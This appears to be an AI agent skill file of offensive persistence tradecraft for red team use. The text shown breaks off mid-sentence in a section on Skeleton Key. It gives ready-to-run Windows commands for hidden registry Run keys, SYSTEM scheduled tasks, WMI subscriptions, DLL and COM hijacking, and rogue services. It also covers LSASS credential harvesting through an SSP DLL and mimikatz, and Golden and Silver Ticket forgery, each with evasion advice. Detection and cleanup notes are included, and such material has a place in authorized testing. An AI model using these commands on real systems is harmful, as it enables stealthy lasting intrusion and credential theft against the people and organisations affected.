---

name: offensive-persistence description: "Comprehensive persistence tradecraft for authorized red team engagements covering Windows and Linux mechanisms. Windows techniques include registry Run/RunOnce keys, scheduled tasks, WMI event subscriptions, DLL search order hijacking, COM object hijacking, Startup folder drops, service creation, Security Support Provider (SSP) DLL injection, and Active Directory persistence (AdminSDHolder abuse, DCShadow, Golden Ticket, Silver Ticket, Skeleton Key, SID History injection). Linux techniques include cron and at jobs, systemd timers and services, SSH authorized_keys injection, shell profile backdoors (.bashrc/.bash_profile), PAM module backdoors, LD_PRELOAD hijacking, kernel module rootkits, web shells, and Git hook abuse. Provides operator-ready command sequences for SharPersist, Impacket ticketer, schtasks, sc.exe, crontab, and systemctl with OPSEC considerations for each method. Maps to MITRE ATT&CK T1547 (Boot or Logon Autostart), T1053 (Scheduled Task/Job), T1546 (Event Triggered Execution), T1556 (Modify Authentication Process), and sub-techniques. Includes detection indicators and a rapid engagement cheatsheet."

Offensive Persistence

Persistence ensures your access survives reboots, password changes, and routine maintenance. You plant mechanisms that re-establish a session or re-execute your payload without requiring a new initial compromise. The choice of persistence technique depends on your privilege level, the target operating system, the engagement scope, and the detection risk you can tolerate.

This skill covers both Windows and Linux persistence methods, from simple registry keys to domain-level Active Directory backdoors. Every technique here assumes you already have code execution on the target. Apply these in authorized engagements only.

Quick Workflow

1. Assess your current privilege level (user-level vs admin/root vs domain admin).
2. Identify the target OS version and security controls in place.
3. Select a persistence mechanism matching your access level and stealth needs.
4. Validate the persistence survives a reboot or logoff event.
5. Document the exact mechanism and location for cleanup during engagement close.
6. Layer multiple persistence methods at different privilege levels when scope allows.
7. Prefer reversible methods that you can fully remove during remediation.

---

Windows: Registry Autostart

Registry Run and RunOnce keys execute commands at user logon or system startup. These are the simplest persistence mechanisms and work at both user and admin privilege levels.

# User-level persistence (HKCU, no admin required)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Public\payload.exe" /f

# Machine-level persistence (HKLM, requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\Windows\Temp\svc.exe" /f

# RunOnce -- executes once then deletes the key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Setup" /t REG_SZ /d "powershell -ep bypass -w hidden -f C:\Users\Public\init.ps1" /f

Using SharPersist for operational convenience:

# Add registry Run key persistence
SharPersist.exe -t reg -c "C:\Users\Public\payload.exe" -a "" -k "hkcurun" -v "WindowsUpdate" -m add

# List current registry persistence
SharPersist.exe -t reg -k "hkcurun" -m list

# Remove it during cleanup
SharPersist.exe -t reg -k "hkcurun" -v "WindowsUpdate" -m remove

Additional autostart locations you should know:

HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKLM\System\CurrentControlSet\Services\<svc>\ImagePath
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

OPSEC note: Registry Run keys are the first place defenders check. Use innocuous-sounding value names. Sysmon event 13 (RegistryValueSet) captures all registry modifications to these keys.

---

Windows: Scheduled Tasks

Scheduled tasks provide flexible persistence with precise timing control. They survive reboots and can run as SYSTEM or any specified user.

# Create a scheduled task running as SYSTEM at boot
schtasks /create /tn "Microsoft\Windows\Maintenance\SecurityScan" /tr "C:\Windows\Temp\svc.exe" /sc onstart /ru SYSTEM /f

# Create a task that runs every 15 minutes
schtasks /create /tn "CacheCleanup" /tr "powershell -ep bypass -w hidden -f C:\Users\Public\beacon.ps1" /sc minute /mo 15 /ru SYSTEM /f

# Create a task triggered by user logon
schtasks /create /tn "OneDriveSync" /tr "C:\Users\Public\payload.exe" /sc onlogon /f

SharPersist alternative: SharPersist.exe -t schtask -c "C:\Windows\Temp\svc.exe" -n "SecurityScan" -m add -o logon

Using PowerShell for more control:

$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep bypass -w hidden -f C:\ProgramData\task.ps1"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -Hidden
Register-ScheduledTask -TaskName "Microsoft\Windows\AppID\PolicyConverter" -Action $action -Trigger $trigger -Principal $principal -Settings $settings

OPSEC note: Nest task names under existing Microsoft directories (e.g., Microsoft\Windows\Maintenance\) to blend in. Event 4698 records task creation.

---

Windows: WMI Event Subscriptions

WMI event subscriptions are a powerful fileless persistence mechanism. They consist of three components: an event filter (trigger), an event consumer (action), and a binding that links them.

# Create a WMI event subscription that fires on system startup
# Event Filter -- fires 60 seconds after boot
$filter = Set-WmiInstance -Namespace "root\subscription" -Class "__EventFilter" -Arguments @{
    Name = "CoreTelemetryFilter"
    EventNameSpace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 60 AND TargetInstance.SystemUpTime < 120"
}

# Event Consumer -- execute payload
$consumer = Set-WmiInstance -Namespace "root\subscription" -Class "CommandLineEventConsumer" -Arguments @{
    Name = "CoreTelemetryConsumer"
    CommandLineTemplate = "powershell.exe -ep bypass -w hidden -f C:\ProgramData\Microsoft\telemetry.ps1"
}

# Binding
Set-WmiInstance -Namespace "root\subscription" -Class "__FilterToConsumerBinding" -Arguments @{
    Filter = $filter
    Consumer = $consumer
}

Cleanup -- remove all three components during engagement close:

Get-WmiObject -Namespace "root\subscription" -Class "__EventFilter" -Filter "Name='CoreTelemetryFilter'" | Remove-WmiObject
Get-WmiObject -Namespace "root\subscription" -Class "CommandLineEventConsumer" -Filter "Name='CoreTelemetryConsumer'" | Remove-WmiObject
Get-WmiObject -Namespace "root\subscription" -Class "__FilterToConsumerBinding" | Where-Object { $_.Filter -match "CoreTelemetryFilter" } | Remove-WmiObject

OPSEC note: WMI subscriptions are stored in the CIM repository (C:\Windows\System32\wbem\Repository\). Sysmon event 19/20/21 captures WMI filter, consumer, and binding creation. This is one of the stealthier native persistence methods but increasingly monitored.

---

Windows: DLL Hijacking and COM Hijacking

DLL Search Order Hijacking

When an application loads a DLL without specifying a full path, Windows searches directories in a defined order. You place a malicious DLL in a directory searched before the legitimate one.

Find hijackable DLLs with Process Monitor: filter on Result = NAME NOT FOUND and Path ends with .dll. Applications loading DLLs without full paths search the application directory before System32, so you place your DLL alongside the binary.

// Minimal proxy DLL template (forwards calls to legit DLL)
// Compile: cl /LD /Fe:target.dll hijack.c
#include <windows.h>
#pragma comment(linker, "/export:OriginalFunc=legit.OriginalFunc")

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        // Execute payload in a new thread
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PayloadFunc, NULL, 0, NULL);
    }
    return TRUE;
}

COM Hijacking

COM objects are resolved via registry. You insert your DLL into the lookup chain by writing to HKCU, which takes precedence over HKLM entries.

# Find COM objects scheduled to load (hijack candidates)
# Look for InprocServer32 keys under HKLM that do not exist under HKCU

# Hijack a COM object used by explorer.exe
# CLSID {BCDE0395-E52F-467C-8E3D-C4579291692E} -- MMDeviceEnumerator
New-Item -Path "HKCU:\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32" -Value "C:\Users\Public\payload.dll" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32" -Name "ThreadingModel" -Value "Both" -Force

OPSEC note: COM hijacking under HKCU requires no admin rights. The payload loads whenever the COM object is instantiated. Sysmon event 7 (ImageLoad) detects suspicious DLL loads.

---

Windows: Service and SSP Persistence

Service Creation

# Create a persistent service
sc create "WinDefHealthSvc" binpath= "C:\Windows\Temp\svc.exe" start= auto obj= LocalSystem
sc description "WinDefHealthSvc" "Windows Defender Health Service Monitor"
sc start "WinDefHealthSvc"

# Modify an existing service (riskier, breaks legitimate service)
sc config "wuauserv" binpath= "cmd /c C:\Windows\Temp\svc.exe & C:\Windows\System32\svchost.exe -k netsvcs -p"

Security Support Provider (SSP) DLL

An SSP DLL is loaded by LSASS at boot and receives plaintext credentials for every interactive logon. This is a powerful credential harvesting persistence mechanism.

# Copy SSP DLL to System32
copy mimilib.dll C:\Windows\System32\

# Register the SSP (persists across reboots)
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /f

# In-memory SSP injection (does not survive reboot without registry key)
# Using mimikatz:
misc::memssp
# Credentials logged to C:\Windows\System32\mimilsa.log

OPSEC note: SSP persistence requires admin privileges and modifies LSASS. Credential Guard blocks this entirely. Event 4622 (security package loaded) fires when a new SSP is registered.

---

Windows: Active Directory Persistence

These techniques provide domain-level persistence that survives individual host remediation. They require domain admin or equivalent privileges.

Golden Ticket

# Extract the KRBTGT hash
impacket-secretsdump -just-dc-user krbtgt corp.local/admin:Password1@dc01.corp.local

# Forge a Golden Ticket (valid for any service in the domain)
impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid S-1-5-21-XXXXXXXXXX -domain corp.local administrator
export KRB5CCNAME=administrator.ccache

# With mimikatz
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /krbtgt:<KRBTGT_HASH> /ptt

Silver Ticket

# Forge a Silver Ticket for a specific service (e.g., CIFS on a file server)
impacket-ticketer -nthash <SVC_HASH> -domain-sid S-1-5-21-XXXXXXXXXX -domain corp.local -spn cifs/fileserver.corp.local administrator

# With mimikatz
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /target:fileserver.corp.local /service:cifs /rc4:<SVC_HASH> /ptt

Skeleton Key

# Inject skeleton key into DC LSASS (all a